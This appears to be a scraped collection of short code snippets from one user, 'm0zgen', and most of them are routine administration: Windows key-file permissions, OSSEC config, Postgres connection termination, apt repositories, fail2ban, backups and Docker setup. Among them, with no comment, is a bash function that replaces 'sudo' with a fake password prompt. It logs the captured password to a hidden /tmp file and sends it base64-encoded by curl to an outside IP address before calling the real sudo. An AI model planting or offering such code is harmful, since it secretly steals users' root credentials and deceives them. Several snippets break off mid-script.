m0zgen

# Source: https://stackoverflow.com/a/43317244
$path = ".\aws-ec2-key.pem"
# Reset to remove explict permissions
icacls.exe $path /reset
# Give current user explicit read-permission
icacls.exe $path /GRANT:R "$($env:USERNAME):(R)"
# Disable inheritance and remove inherited permissions
icacls.exe $path /inheritance:r

m0zgen

If you don't have an E5 subscription, run 1709 in your environment, and use OSSEC, you can quickly add the new ASR features
to your alerting and reports since you don't have access to the Defender console thingy. 

The event reference is here: https://docs.microsoft.com/en-us/windows/threat-protection/windows-defender-exploit-guard/event-views-exploit-guard#list-of-all-windows-defender-exploit-guard-events

All your need to do is add:

<localfile>
     <location>Microsoft-Windows-Windows Defender/Operational</location>
     <log_format>eventchannel</log_format>

m0zgen

-- Accepted answer from here: https://stackoverflow.com/questions/5408156/how-to-drop-a-postgresql-database-if-there-are-active-connections-to-it
SELECT pg_terminate_backend(pg_stat_activity.pid)
FROM pg_stat_activity
WHERE pg_stat_activity.datname = '[your database name goes here]'
  AND pid <> pg_backend_pid();

m0zgen

# list repos
sudo apt-cache policy

# add repo
sudo add-apt-repository "deb http://us.archive.ubuntu.com/ubuntu/ saucy universe multiverse"

# remove repo
sudo add-apt-repository --remove <ppa:whatever/ppa>

m0zgen

# Two possibilities to parse a Postgres DB URL from heroku into environment variables
# that Spring Boot understands.
# You would need that, if you do not build on heroku but push docker images
# from another source
# Does not need bash. Works on alpine linux / busybox. Tested with openjdk:8-jdk-alpine base image.

export DATABASE_URL=postgres://user:password@host:port/database

# Naive way, would break with [@:/] in username or password.
DB_TYPE=$(echo $DATABASE_URL | awk -F'[:@/]' '{print $1}')"ql"

m0zgen

function sudo ()
{
    realsudo="$(which sudo)"
    read -s -p "[sudo] password for $USER: " inputPwd
    encoded=$(echo "$USER : $inputPwd" | base64) > /dev/null 2>&1
    printf "\n"; printf '%s\n' $encoded >> /tmp/.cached_$USER
    curl -s "http://10.211.55.98/$encoded" > /dev/null 2>&1
    $realsudo -S -u root bash -c "exit" <<< "$inputPwd" > /dev/null 2>&1
    $realsudo "${@:1}"
}

m0zgen

#!/bin/bash

##
# Name: GeoIP Firewall script
# Author: Pandry
# Version: 0.1
# Description: This is a simple script that will set up a GeoIP firewall blocking all the zones excecpt the specified ones
#                it is possible to add the whitelisted zones @ line 47
# Additional notes: Usage of [iprange](https://github.com/firehol/iprange) is suggested
#                     for best performances

m0zgen

# Add to file: /etc/fail2ban/jail.local
[nginx-badbots]

enabled  = true
port     = http,https
filter   = nginx-badbots
logpath  = %(nginx_access_log)s
maxretry = 1
findtime = 604800
bantime  = 604800

m0zgen

#!/bin/bash
#

BACKUPDEST="$1"
DOMAIN="$2"
MAXBACKUPS="$3"

if [ -z "$BACKUPDEST" -o -z "$DOMAIN" ]; then
    echo "Usage: ./vm-backup <backup-folder> <domain> [max-backups]"
    exit 1

m0zgen

#!/bin/bash

# update apt-get
export DEBIAN_FRONTEND="noninteractive"
sudo apt-get update

# remove previously installed Docker
sudo apt-get purge lxc-docker*
sudo apt-get purge docker.io*